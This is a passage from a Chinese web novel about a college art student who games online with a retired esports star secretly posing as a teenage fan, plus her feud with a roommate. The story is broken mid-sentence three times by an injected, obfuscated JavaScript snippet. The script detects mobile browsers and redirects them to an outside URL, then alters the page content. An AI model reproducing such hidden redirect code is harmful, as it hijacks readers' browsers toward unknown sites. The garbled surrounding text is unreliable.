这周六第三次奋战四级。 备战三次,归来仍是裸考。 亲亲妈咪说:「只要不耽误拿毕业证都无所谓,我比较关注你熬夜的问题。」 秦见夏彻底放下心来,等老妈发了一串养生视频号后,飞快地回复收到,告诉她自己要去吃晚饭了。 下次上课是周三上午,差不多要给范川看细化草图。 今天上课时,她差不多已经将草图画好,现在只剩搜集数据和制作图表的任务。 然而总进度也不能太快,做得越多,改得就越多。 要把作业进度,维持在一个进可攻、退可守的程度,差不多拖到课程末尾,老师就会睁一只眼闭一只眼,仅追求完成度。 这是秦见夏当了三年大学生,总结出来的划水经验。 当然,也有意外翻车,导致完不成进度的情况。 这时她就会换上一副急切的神情,告诉老师——软件崩了。 不过她只撒过一次谎,当天下课前就给老师把进度补上了。 但从某种程度上说,这何尝不是一种灵活变通的能力。 秦见夏又决定,在宿舍关系方面,也灵活变通一下。 既然打不过,那就撤——毕竟是连川总都搞不定的硬骨头。 她计划,以后每晚都十一点半卡点回枚园宿舍楼,然后在楼下公共区坐半小时,十二点再回宿舍。 这下关灯的锅总不能轮到她来背吧? 虽然是折腾了些,但至少能落个清净。 完全不亏啊。 规划好一切的秦见夏,心情畅快,乐跑完顺便骑去距离艺术楼最近的瑰园食堂,吃了顿二十块钱的天水麻辣烫,还给自己加了两颗紫薯丸封顶,又买了一杯热牛奶带回教室。 课后的艺术楼几乎没人在,她可以肆无忌惮地外放声音看综艺。 最新一期,她又没料到,那个无聊的漫才组合居然还没淘汰。 正想上小红书搜索一番时,辅助哥刚好发来消息,问她现在有没有时间。 秦见夏顺势打开王者。 谈继秋是打算今晚和她坦白的。 一来,是因为下午没问出她喜欢什么东西。 二来,是因为下播后他左思右想、前思后想,越想越亏心,感觉今晚不坦白又会失眠。 粉丝还是个大学生呢,万一他这抽象举动搞得人家无心学习了怎么办? 那他不就彻底误人子弟了吗? 她进了房间,谈继秋盯着她的龙图头像,十分紧张。 正组织语言时,秦见夏急了,问他到底开不开。 秦见夏:“本来这破综艺看得人就烦,怎么打个游戏都这么墨迹!” 谈继秋字还没打完,担心粉丝生气,只好先开了一把游戏。 匹配对局时,他想着,要不直接开麦解释? 于是打字问她:「我能打开语音吗?」 秦见夏很是无所谓,反正又不是她开麦。 人健学设计:「随意」 她打开听筒,刚预选狄仁杰,就听到游戏bgm的声音降了一点。 紧接着,一道平缓的声音传来—— “你好”。 秦见夏:“?” 等等。 这声音,怎么这么耳熟啊…… 此刻她有一种—— 坐在考场上正确答案都到嘴边了,但关键时刻却什么也想不起来的空白无力感。 辅助哥刚打完招呼,又是一道熟悉的嗓音落了进来:“你在这跟谁‘你好’呢——” Dollar话还没说完,谈继秋立刻闭了麦。 Dollar才起床,下楼刚走到他身后,就听到谈继秋对着手机,在那很装地说“你好”。 他疑惑至极,抓了抓锡纸烫失败的鸡窝头,问:“你干嘛呢?说话这么夹?网恋呢?” “想不到啊,你小子吃斋念佛这么多年,也总算是还俗了哈。” “不过……现在谁还在王者荣耀网恋啊?”美元哥瞄了眼手机,辣评,“你不怕对面是极品小学生?” 谈继秋无奈解释:“这是我粉丝。” “我跟Fine打赌,赌注就是攻略这个脱粉的粉丝。” Dollar面色一变,警惕道:“往哪方面攻略……?” 谈继秋再度辩解:“想哪去了?是打赌让她三个月内重新粉上我。” “为了拉近关系,我骗她我是男高中生,还是Jichoo粉丝,打算偷天换日地劝劝她……” “So?”Dollar拿起桌上酸奶,在手里把玩两下,“那我们冠军AD现在是在?” “美男计好像失效了,粉丝没来看直播,我现在准备直接坦白自首。” “糊涂啊——” Dollar将吸管“嘭”地一下插|进酸奶里,猛吸一口,在自己的电竞椅坐下,滑着轮子凑过来:“你现在自雷,这不是找骂吗?反正都要自雷,多等两天咋了?万一赌赢了呢?” “我记得你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669827|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩不是还赌了个iPhone?”Dollar兴冲冲地出谋划策,“反正你用着最新款和用老年机也没什么区别,不如直接把手机送给粉丝?” “这样粉丝高兴,罚金哥也熄火,一举两得!” “本来我也是这么想的,”谈继秋锁了钟馗,诚实道,“但我那个粉丝还是学生……亏良心。” Dollar:“你还有良心?” Dollar:“对待兄弟们天天一副死人脸怎么不说亏良心?” 谈继秋:“滚。” “你看——又这样。” Dollar指了下他,继续劝:“你现在认输,以咱罚金哥的性格,他肯定天天嘲讽你怂b,你不嫌烦我吃……粉丝那边呢,反正我代入一下觉得无所谓啊。” “虽然你确实把她骗了,但这又不是骗钱骗感情,事成之后你给粉丝送点东西,我想人家也不会说啥,”Dollar举例道,“如果,我喜欢的明星为了攻略我,还编造假身份带我上分,那我将连夜发五十条朋友圈装逼,反正……对我来说,绝对是天上掉馅饼的好事……” “所以没必要现在自雷啊,继续呗。” “有道理,”谈继秋蹙着眉点点头,“退役前怎么不见你有这智商?” Dollar:“老子给你打了十年辅助你说这些?” Dollar:“以后直播不跟你双排,你就老实了。” 谈继秋淡淡觑他一眼:“这个月,你直播有超过三次?” “今天说好一起播,你又鸽了,”谈继秋边打王者边说,“自从去年退役,你只顾着谈恋爱。” 潜台词是,他完全不需要担心Dollar不和他双排的问题。 Dollar顿时换上一副深沉的表情,将右手搭在他肩上,语气沧桑:“等你到为父这个年纪,你就懂了,女朋友得天天哄才行。” “女友静悄悄,必定找男高。” “我总不能真守着键盘,给你打一辈子辅助吧?那点钱扣就扣呗,老婆最重要~” “唉算了——跟你说了你也不懂!我还不如去找Fine,”Dollar说完才想起来,与谈继秋大眼瞪小眼,“罚金哥好像回基地了!” “那我打车去找小如了。” 话音刚落,Dollar起身就走,似乎一秒也不愿意留在这里。 谈继秋边玩游戏边莫名道:“和我待着你就这么不适?” “十年了,”Dollar换着鞋,头也不抬,“老子和你当了十年兄弟。” “你这*除了聚餐,连个ktv都不肯去,你知道和你当室友这十年有多无聊吗继军?” “退役前,每天在基地训练打LOL也就算了,你特么私人时间还天天打游戏,光星际战甲那种游戏都能玩五千个小时?你还真‘男人至死是少年’,小弟膜拜膜拜你。” “如果FYZ是少林寺,你绝对能混成住持。” 谈继秋闻言只是纠正:“现在是六千个小时。” Dollar:“……” “真白瞎一张脸……神,我彻底服了你。” “你现在也就只能靠入室抢劫,才能等来爱情了,仓鼠王。” 美元哥对镜喷完发胶,自信地冲他比了个手势:“等着给爸爸们上供份子钱吧,老秋!” 谈继秋:“滚……” Dollar哼着不成调的小曲,和对象煲着电话粥离开。 灯火辉煌的别墅,只剩下谈继秋坐在一楼打王者。 面前电脑屏幕上是围棋对局,战况胶着。 夜晚,虫鸣微噪。 他忽然有种已经步入中年的错觉。 手机里,粉丝又拿下双杀,依旧骚包地常规嘲讽对面「抱歉」。 谈继秋忍俊不禁,彻底不急于坦白了。 能借机认识这人,好像挺有趣的。 17. 游戏群 秦见夏在七分钟左右拿了三杀,但这局还是输了。 打野不会带节奏,除了在野区干农活,就是只抓对面程咬金。 不但把敌方法师喂得肥得流油,而且一条龙都不打,整局唯一一条主宰,还是秦见夏带着辅助哥去拿的。 己方水晶爆掉后,屏幕上出现“失败”两个字。 秦见夏返回房间,得出结论—— 光有辅助不行,还缺个打野。 这时,她恰好发现,那天一起加的Jichoo粉丝“猴子大王66”也在线。 于是当即对他发起组队邀请。 猴子哥的头像,是前段时间很火的地狱火。 秦见夏猜测,这人大概率也是大学生。 她担心辅助哥着急开,先在队伍消息里发了「等个人」,然后点开猴子哥主页一看,他竟然是滁省第三十三孙悟空。 没想到猴子大王也在滁省,还真是无巧不成书。 猴子大王很快进了房间,进来第一句话先对暗号:「jichoo粉丝?」 人健学设计:「是的,我刚改名」 人健学设计:「辅助哥也是jichoo粉丝来着」 谈继秋:“……” 没想到他粉丝在王者峡谷团建上了。 都别抢我辅助:「人齐了吗?」 人健学设计:「齐了,开吧,辅助哥我不想玩射手了你玩吧,我这把玩中单」 都别抢我辅助:「ok」 她们现在占据中下野三路,再输就可以怪机制了。 人健学设计:「猴子是大学生吗」 猴子大王66:「你咋知道?」 谈继秋默默点击开始匹配。 人健学设计:「你这种头像只有大学生和小学生会用,但你v9,所以只能是大学生」 猴子大王66:「名侦探仁杰」 人健学设计:「你不会也在滁省上大学吧?」 猴子大王66:「我A大的」 猴子大王66:「哥们是A大第一猴子」 人健学设计:「!」 人健学设计:「哥们我也是A大的!」 猴子大王66:「wc!我AI学院的,你哪个院的」 人健学设计:「我20艺院的」 猴子大王66:「我也20级,这简直太巧了」 无人在意的角落,谈继秋见这俩弟弟妹妹聊得这么火热,贴心地取消了匹配。 不知为何,他有种被这两个粉丝孤立的感觉。 完全无法融入她们的话题…… 最令他深感无力的是—— 上一把的她,居然、真的、没听出来、他的声音就是Jichoo本人…… 谈继秋还以为对局结束后,她就会激动地对他说:“你声音好像Jichoo啊。” 刚才结算完回到房间,她迟迟没点准备,他便自信地认为,她听出来了,只是在打字。 结果,只盼来三个字—— 「等个人」 果然是脱粉了吗,连他声音都听不出来了…… 甚至还嫌他不会打野是不? 谈继秋将手机支在电脑屏幕前,一边窥屏她们聊天,一边郁闷地和道家八卦图头像的「舍。得」下围棋。 官子一收,舍得哥直接无力回天,他顺利晋级高分段。 然而,他更郁闷了。 围棋高分段也就意味着,之后将彻底步入“老头争霸赛”。 谈继秋盯着手机上无法融入的对话,首次意识到年龄差距。 人健学设计:「要不你们加我wx吧,咱仨拉个游戏群,上分就在里面dd」 猴子大王66:「同意,咱也是建上jichoo粉丝后援会了」 Jichoo本人看到后:“……” 建粉丝后援会,有征求过正主的意见吗? 人健学设计:「xiaxia888」 人健学设计:「你们加吧」 秦见夏发完微信号,其实有一丝后悔。 她每次玩任何游戏都这样,聊上头了就开始拉群…… 毕竟只是游戏好友,还是俩男的,感觉有点僭越。 但……这种MOBA游戏,还是一起玩有意思,她不暴露自己的个人信息就行。 第一个加她的是猴子哥,直接备注“20人工智能莫清谷”,微信头像依旧是猴子大王。 秦见夏真的很想问,就这么喜欢猴子吗…… 谈继秋拿起手机,复制微信号,犹豫用工作号还是私人号加她。 纠结片刻,最后还是用私人号添加好友。 她的头像是一个挺可爱的像素小人,看上去像闪现的姿势,微信名是「勤捡虾球」。 谈继秋点击「添加到通讯录」,那边很快同意,并且拉了群。 他又点开她的朋友圈,发现设置了仅三天可见。 只能看到一条置顶朋友圈,竟然是他们老FYZ夺冠的照片。 图片上,从左到右依次是213、Jay、Fine、Jichoo和Dollar。 五人高举首次春季赛夺冠时的奖杯,漫天彩带落在意气风发的少年们身上。 这条朋友圈的日期是他退役那天,她的配文是—— 青春彻底结束。 谈继秋内心百感交集,觉得自己欺骗粉丝的行为更加可耻了。 要不再多送她几个皮肤和签名照吧…… 屏幕顶部倏地弹出消息提示。 勤捡虾球:「@qwerdf,开吧老弟」 他盯着“老弟”两个字,不禁汗颜。 才想起来,自己的人设是“喜欢Jichoo不好好上学天天打王者的失足男高中生”。 他尴尬地切回游戏,开始匹配。 由于是三排,三人的楼层是连起来的三四五楼。 这一把,秦见夏打算玩甄姬。 是时候展示一下甄姬的实力了。 其实是法师里她只会玩甄姬…… 现在版本强势英雄是女娲,但第一次和校友排位,还是别玩其他英雄丢人了。 辅助哥相当体贴:「5l要是想玩ad我可以走中」 人健学设计:「我走中吧,射手打久了有点累TT」 猴子哥直接让一楼帮抢孙悟空。 结果对面秒锁刘备。 人健学设计:「不是哥们……」 猴子大王66:「没事,看我薄纱他」 BP完,秦见夏感觉这把凉了。 【己方阵容:元歌、孙悟空、甄姬、艾琳、牛魔】 【敌方阵容:吕布、刘备、貂蝉、虞姬、桑启】 果然,元歌刚开局就被吕布打成皮肤碎片。 然而元歌还是一言不发地前往对抗路英勇就义。 秦见夏的甄姬主二技能,清线很快,看了眼视野就去帮上路支援。 猴子蓝开,对面刘备带着桑启过来反蓝,但猴子早已预判,开局就让牛魔一级跟他。 秦见夏路过野区,随手放了个弹弹球接一技能,水球顺着穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669828|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山甲蹦到敌方身上,弹了几个来回,刚好收掉刘备的项上人头。 桑启闪现接二技能穿墙跑路,对面貂蝉清完线赶过来,也只能打扫战场。 四级前的刘备被抓死一次,猴子抓住机会,吃得他们野区寸草不生。 显然这个刘备只是无脑克制猴子,本身并不会玩这个英雄。 即便元歌被吕布单杀两次,但双方经济基本持平。 秦见夏的甄姬也发育得不错,从某种程度上说,也算counter吕布。 甄姬就有这点好处,虽然是原始人,但几乎什么英雄在甄姬面前,都众生平等。 她比王昭君跑得快,比嬴政有控制,进可输出玩法穿,退可出肉打辅助。 一款万金油中单。 猴子谬赞:「咱秋粉确实能输出」 都别抢我辅助(艾琳):「jichoo什么时候有了这么难听的粉丝名。」 猴子大王66(孙悟空):「弟弟,你不懂,这是时代的眼泪」 谈继秋:“……?” 在王者峡谷,你甚至能看到,有比Jichoo本人更懂的粉丝。 秦见夏帮元歌支援了一波,尽管伤害不够,没能收掉吕布,但把他打残回城了,至少帮上单守了两波线。 猴子美滋滋地反完野,又跑到中路蹭了几个兵,看到甄姬过来,才意犹未尽地赶去下路支援。 秦见夏吃掉最后两个兵,察觉到貂蝉不见了,迅速给队友发了信号,也连忙往下路赶。 其实可以等到清完下一波线再去支援,不过现在状态不错,刚做出痛苦面具,应该能打。 秦见夏走到下路河道草,再度和刘备打了个照面。 她秒扔二技能拖延时间,然后直接闪现接团,瞄准敌方虞姬开大,又接一二连招。 虞姬的二技能,只能抵挡物理伤害和秒解控制,此时面对甄姬大招的AOE持续法伤,显然被黏得跑不掉。 艾琳找准时机,飞身上前,开启狂暴乱箭横扫,不仅收割掉虞姬的人头,还把桑启打得只剩丝血。 敌方貂蝉赶来开大准备输出时,己方众人早已散开。 刘备突然二技能顶上来,准备强杀猴子,却被牛魔一脚踢飞,接上大招,勉强保住打野。 貂蝉目前没什么伤害,虞姬早就倒了,秦见夏直接一技能冻住刘备,攒好二技能,准备收割人头。 艾琳见敌方被控住,当即一顿平a,猴子也跳上来给刘备当头一棒。 刘备血条本就不厚,正打算跑路的桑启突然回头,良心大发地给打野奶了口。 于是二人双双倒地,艾琳和猴子一人收获一颗头。 貂蝉胜在二技能解控跑得快,没被彻底团灭。 第一波团战下来,这局胜率能有40%。 猴子乘胜追击,和牛魔一起开了龙,然而丝血的暴君,却被清完线缓缓赶来的艾琳收割。 莫清谷有些不爽,但并未表露,只是暗道:这艾琳也是个k头怪。 直到下一波团,艾琳抢了猴子两个人头,莫清谷才在公屏扣了个句号。 谈继秋语音转文字,发了句:「抱歉。」 秦见夏隐隐觉得,这一幕似曾相识。 人健学设计(甄姬):「别急别急,都自家兄弟。」 人健学设计(甄姬):「猴子哥你让着点辅助哥呗,辅助才高中生,您大人有大量,别和小孩儿一般见识。」 谈继秋不知道第几次:“……” 算了。 他不和小孩们一般见识。 18. 免打扰 这局果然稳稳赢得胜利。 推到高地时,莫清谷在公屏嘲讽:「你们这种盲选刘备的俺老孙见多了」 [全部]人健学设计(甄姬):「大师兄威武」 谈继秋:“……” 他有时候觉得,粉丝是大学生群体也不是一件好事…… 和小学生一样低龄。 这把结束之后,他们又三排上了两颗星。 快到十一点时,秦见夏在群里说自己不打了,准备回宿舍。 猴子哥突然很惊讶地在群里问:「校友我才看到你王者主页,原来你是男的?」 勤捡虾球:「?」 勤捡虾球:「我是女的」 勤捡虾球:「你刷抖音没刷到过男号给女皮肤,女号给男皮肤吗?」 猴子大王:「好的姐」 猴子大王:「姐你为什么现在才回宿舍?不是十一点半关门吗?」 勤捡虾球:「宿舍有个邪剑仙」 猴子大王:「?」 猴子大王:「A大还有这号人物呢?细说」 勤捡虾球:「就是家里贫困,人不好相处,加上见不得别人学习呗」 勤捡虾球:「我最近需要偷学,所以等到门禁才回宿舍」 陈文欣确实还有见不得别人学习的毛病。 宿舍里其他人,不管是做作业也好,还是学英语也好,只要别人在做提升自己的事情,她看到了就会阴阳怪气。 但反观她自己,却总在偷学。 明明个人作业早都偷摸做完了,她还每次都骗她们,说作业一点都没动。 自己的作业永远最积极,一到小组作业,她又一点也不做。 秦见夏活了二十一年,还没见过这么利己主义的人。 陈文欣和辅导员相比,也是有过之无不及。 她似乎在跟大伙玩心眼,但秦见夏不清楚陈文欣自己知不知道,她那点鬼主意一目了然。 这种连动动脑都要模仿日漫转眼珠子的人,搞得秦见夏看不出来,她是真笨还是真心思不纯。 果然—— 极度的愚蠢,就是无坚不摧。 大家又不是瞎子,只是懒得和傻瓜论短长而已。 可惜,陈文欣完全学不会见好就收,有一种蠢人特有的,变本加厉的处事风格。 上学期,秦见夏每天早出晚归,把高中教师资格证考下来了。 结果,那辅导员居然扭头在大群里公布了名单。 陈文欣看到后,一回宿舍就阴阳怪气地说:“我还是不去考教资了,我可没不差钱到花几千块钱考这个‘父母开心证’……再说了,我也不稀罕当老师,也不知道是谁想当老师啊?咱们学美术的,居然有人想当老师?” 师大落榜的秦见夏:“……” 直接点名得了呗。 她也心疼各种报名费、体检费,所以笔试面试全部一次过。 这有什么好指桑骂槐的…… 爱考不考,关她屁事。 按理来说,人家都骑在她头上拉屎了,再不反击说不过去。 但——秦见夏太了解自己的嘴。 她一开口,注定会爆发大规模争吵,如果当没听到,陈文欣反而会立刻熄火。 这种人,就是越搭理她越来劲。 她有时候感觉,陈文欣像小学男生,仿佛在故意作对刷存在感一样。 不过…… 秦见夏看到她就烦,和她说话更烦。 把精力白白浪费在和她争执上,实在太没必要。 毕竟陈文欣连食堂都吃不起,还是让让她吧。 最后,秦见夏依旧选择精神胜利法—— “君子不与小人论短长”。 父母听完,连连骂她窝囊。 秦见夏却说:“你们懂什么!知不知道什么叫‘幸福者退让原则’?她家里那种情况,本来就有点嫉妒我一样,我要是再正面和她刚,万一哪天她情绪过激给我投毒咋办。” “被她阴阳两句又不会掉块肉,和这种大学前连地铁都没坐过的人计较什么啊。” 另外两个室友倒是正常人,回来第一时间恭喜秦见夏—— “哇夏夏,我在群里看到你名字咯,你好厉害啊,闷声干大事是吧!” “夏夏教资好考吗?搞得我也想考了!” 秦见夏终于从床帘里探出头来,发自内心地说:“你们要考吗?我可以把全部资料半价出给你们,你们如果备考的话,我建议……” 虽然,最后林喜作为山省人,义无反顾地一心备考公务员,苏织打算考完研再去考教资,秦见夏把几百块买的资料,以八折价格,在二手群出给了学妹。 但另外两个室友的反应,让她觉得,世界上还是好人多啊。 莫清谷一语道破:「她家里条件不好,那为什么不去兼职呢?」 勤捡虾球:「不懂,我大一去学校奶茶店摇奶茶被她嘲讽了,大二去辅导班兼职,她也很震惊表示不理解,可能她是孔乙己吧……」 勤捡虾球:「据我另一个二次元室友所说,她在圈子里画什么小人貌似很挣钱」 猴子大王:「要是真赚,怎么会不舍得花一千块考个证……」 猴子大王:「不过姐,你居然在大活的那个奶茶店干过兼职?」 勤捡虾球:「没错!」 勤捡虾球:「但我干了两天就跑路了,实在记不住配料表……」 勤捡虾球:「反正檬小甜真的很干净,我干了两天,手差点洗脱皮,放心喝/墨镜」 猴子大王:「惨啊姐妹」 猴子大王:「你大三是吗,形策选的谁?我好像在形策群里见过你头像」 勤捡虾球:「程歧啊,我是脐橙粉丝」 猴子大王:「wc我也是」 猴子大王:「我跟脐橙三年了!!」 猴子大王:「脐橙真男神」 猴子大王:「之前我外卖被偷,把监控截图挂在脐橙群,都有群友帮我正义出击」 秦见夏发了个猿粪的土味表情包。 一直默默窥屏的谈继秋,觉得他俩不太礼貌。 要聊去私聊行吗。 两个大学生在群里刷屏,让他这个高中文凭的老龄化青年,感到有些格格不入。 而且,莫名其妙地,使他对三人群里唯一的女粉丝,有一丝微妙的雄竞心态。 然而不能对女粉占有欲太强,太容易塌房。 谈继秋还是想继续直播圈钱的。 于是,他给「jichoo粉丝后援会王者分会」设置了免打扰,关闭手机,继续去围棋圈虐点真老年人。 这次,他却清心寡欲、人淡如菊地输给用着钓鱼头像的「平淡天真」。 谈继秋叹息一声,退出游戏,从手边捞过中午吃剩下的全家桶,啃了一口他最讨厌的吮指原味鸡。 心道,果然不能小看高分段大爷。 再打开微信,发现这个点给他发消息的,只有瑞幸首席福利官,还有催他开播的助理小艾。 艾欧尼亚:「哥啊,快开播吧,这个月时长还不够呢。」 谈继秋懒洋洋地登录直播助手,没由来地,产生了一点微乎其微的沟通欲。 谈继秋:「电一,这个点你不去陪对象?为什么还在上班?」 艾欧尼亚:「哥,我要是有对象,我还当你助理干嘛?」 艾欧尼亚机关枪似的发来一长串:「你不喜欢接商务,不乐意化妆,又懒得开播,天天下围棋玩steam,您那张脸,还总被列为“电竞颜值前十”,动不动就和网红女解说传绯闻上热搜,我还得24小时盯着有没有对您不利的舆论,您觉得,我有时间找对象吗?」 “……” 谈继秋盯着这一大段文字,蹙了蹙眉。 角度十分清奇:「之前我又不像dollar一样接商务,你现在不谈,等我想圈钱了更没时间。」 谈继秋:「对了,最近确实想赚点钱,帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669829|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我联系下陈姐,下半年接点商务。」 谈继秋:「要谈早点谈,后面有的忙了。」 艾欧尼亚感到十分罕见:「终于……」 艾欧尼亚:「不过哥,你怎么突然有人味了?年中就有催婚kpi了吗?你是我妈派来的?」 谈继秋:「不,是我自己在晋海堡垒有感而发。」 谈继秋:「电一,你说我是不是真老了?」 艾欧尼亚:「不老啊,在我心里,您绝对是lpl颜巅,fine哥比你还大一岁呢,我们罚金哥还在征战沙场。」 艾欧尼亚:「我瞧你就是闲的,太闲就复出吧。」 和助理简直说不到一起。 谈继秋:「不聊了,直播。」 他打开LOL一瞧,好友列表没人在线,唯一在线的还是一个女解说。 谈继秋思考片刻,决定直播下会围棋。 弹幕因为解说开始刷屏—— 「卧槽兄弟们,是尼奥尼」 「我说继军和尼奥尼指定有说法的,不然为啥这么避嫌」 「哥,nyoni在直播间一提到你就犯花痴,你快拉她双排吧」 「jichoo我看你一定缺个软辅」 「不行,这门亲事我不同意」 「楼上的,秋神啥时候给你找个转会嫂子你就老实了」 「你们别不满意尼奥尼,照咱继军这个寡的程度,万一jichoo给你们找个男嫂子……」 “我最后一次澄清,”谈继秋百无聊赖,边下棋边说,“第一,我和Nyoni没有关系,我们只在比赛期间见过,其他时间没有任何私下联系。” “第二,我是异性恋……” 他捏了捏眉心,有种太监被造黄谣的无力感:“你们录屏的记得录全,我不想再上热搜。” 弹幕飞得更快了—— 「又这样秒速澄清是吗你这家伙」 「我不相信,jichoo绝对和尼奥尼有一腿啊啊啊」 「既然谈不到对象那就复出吧哥」 「第一,我不叫喂……」 「继军这是暗恋上谁了?」 「……」 谈继秋听着外面若隐若现的蛙鸣声,内心毫无波澜地继续下围棋,准备等哪个主播好友上线再排位。 也不在乎直播间热度,只是闷头玩小游戏。 在电脑桌前,坐得快老僧入定了。 一道微信提示音,将他从棋局里唤醒。 谈继秋拿起手机,看到有人艾特他,是显示99+消息的王者三人群。 猴子大王:「辅助哥@qwerdf,你说说,你觉得jichoo是不是电竞第一adc」 谈继秋真想给这俩小孩跪了。 现在哪个选手敢说自己是电竞第一ADC? 他疑惑,话题怎么绕到他身上了,便往上翻了翻聊天记录。 原来,起因是「勤捡虾球」说A大没有帅哥,还说表白墙自发组织的校草评选上的男生,没有一个帅过谈继秋。 莫清谷不服:「jichoo也就中等偏上的颜值吧,没有彭于晏帅,你说他是电竞圈颜值巅峰那不至于,百分之百营销出来的」 猴子大王:「但我比较认可jichoo的实力,实力感觉是电竞第一adc」 勤捡虾球却不认可他的实力:「实力那必须是一代目Serein啊,真正的adcarry!!!」 猴子大王:「那太远古了,那时候明显还不卷,你上你也能c」 就这样—— 战火烧到他这个“辅助哥”身上。 谈继秋已经不知道,是第几次感到无语。 也就是说—— 一个要他承认自己长得不够帅,一个要他承认自己没实力吗? 必须要在两个里面选一个? 有意思。 他决定装傻。 qwerdf:「我是未成年,别为难我了。」 19. 想落泪 秦见夏在枚园宿舍一楼坐着,和两个游戏好友聊到半夜十二点,帮助几个进不来门的同学叫了宿管阿姨,直到手机玩没电了才往回走。 结果,她站在宿舍门前掏钥匙时,透过木门上面的小窗户,看到宿舍里还亮着灯。 这简直太令人抓狂。 难道她们又给她留灯了? 该不会进门又被陈文欣solo吧。 秦见夏认命地用铁片钥匙轻声开门。 寝室内鸦雀无声,大家看起来都已爬上|床休息。 似乎是暴风雨前的宁静。 秦见夏吓得都没来得及换鞋,第一时间把灯关了。 陈文欣的声音,却兀地传来—— “诶怎么关灯了?” 秦见夏:“?” “不好意思,”她条件反射地道歉,又连忙将灯重新打开,“我以为大家都睡了。” “哦没事,我刚打算下床洗漱关灯呢。”陈文欣云淡风轻地,似乎之前说要十一点半早睡的不是她一样。 她安静半晌,像在腹中打了一会草稿,才忍不住问出口:“你这么晚回宿舍,是去图书馆学习了吗?” 秦见夏走到座位,刚放下书包,听到身后传来闷闷的声音,不悦地皱了皱眉。 她妈赵霞女士,都很少问这些。 自从辅导员公布教资名单后,陈文欣就对她格外关注。 “哦,我在教室打王者呢。” 秦见夏怎么可能真老实说,其实下课后她又做了几个小时作业。 刚好想起范川曾在课堂上随口说过的—— “川总说得对,艺术楼的校园网这学期好像真增强信号了,比咱宿舍打游戏快多了。” 秦见夏说得煞有其事,陈文欣果然信以为真。 “哦哦,”陈文欣松了口气,却又转瞬换上一副质疑的口吻,对待秦见夏的态度,仿佛她是她数学卷子上的最后一道大题,“真的吗?我还以为,你在备考四级呢。” 如此一副暗戳戳打探的语气,她真的不觉得很明显吗? 秦见夏对此更不理解。 她英语不好,虽然总体绩点排名和陈文欣相差无几,但对于她们这种艺术类专业来说,得英语者得天下。 陈文欣都该考六级了,她还在备战四级,究竟有什么可担心的? 她再卷,也卷不过陈文欣的英语啊。 这周六的四级,秦见夏早已放弃挣扎,准备过去题也不看,直接涂答题卡。 反正认真做还不如蒙题正确率高。 由于陈文欣的最后一句,不是问句,秦见夏选择直接忽视,当没听到得了。 她很快洗漱完,回来放洗漱杯时,发现陈文欣还没下床,有些犹豫这个灯是关还是不关,于是大大方方地问她:“欣欣,我要关灯吗?” 陈文欣仍然慢悠悠地:“哦,等下我关。” “好的。” 秦见夏低头一看手机,十二点四十。 秦见夏:“……” 究竟是谁说要早睡的。 也算忙碌了大半天,懒得再去管她这些有的没的。 秦见夏疲惫地拉开床帘,安详地钻进自己的小棺材板里,感叹道还是床上躺着最舒服。 可恶的陈文欣,害她无法二十四小时和她的床亲密接触! 其实,秦见夏起初并不讨厌陈文欣,初见时感觉这女孩比较内向,眼睛很大,脸蛋圆圆的,应该不难相处。 结果最人畜无害的,居然是最难搞的…… 她当然看得出来,陈文欣在嫉妒她。 即便她认为,她并没有刻意炫耀,自己身上也没有值得嫉妒的点。 仿佛只要秦见夏在呼吸,陈文欣都会嫉妒。 所以……她有时也暗戳戳地,故意刺激陈文欣。 她心里门儿清,陈文欣眼红别人朋友多,容貌身材严重焦虑,甚至一边说自己不在乎外貌、学不会化妆,一边每晚都要敷面膜,在宿舍四人里,属于护肤频率最高的。 怎么可能不爱美呢? 虽然不知道,陈文欣为什么用着几百块的全套护肤套装,却不舍得买化妆品和新衣服,还天天念叨没钱吃饭。 她那一套水乳的价格,顶得上秦见夏整套化妆品了。 但秦见夏知道,陈文欣对于她们三个都化妆这件事,是特别在意的。 所以,每逢社团部门聚餐,秦见夏都风风火火地装扮自己,故意搞得宿舍内人尽皆知。 逢人就大声问——我这条裙子怎么样?我的假睫毛贴得怎么样?耳环和这身搭不搭? 最后每次都在陈文欣自卑的神情中,背着小包欢快地夺门而去,实则—— 秦见夏从转过身的那一秒,就开始暗爽地控制不住上扬的嘴角。 光鲜亮丽的装扮和响亮的关门声,是独属于她的“victory”。 这比当面喷她爽多了。 当然……这显然还是一种精神胜利法。 不过无所谓,也够陈文欣内耗个爽。 秦见夏认为,她本质上也不是什么大坏人,人家一没偷二没抢,已经比小红书上70%的奇葩室友好了。 膈应膈应她,出出气算了。 秦见夏某次给王铭说起此事,王铭相当惊讶,他说你居然能忍住不骂她? 换到男生宿舍,早就上真实伤害了。 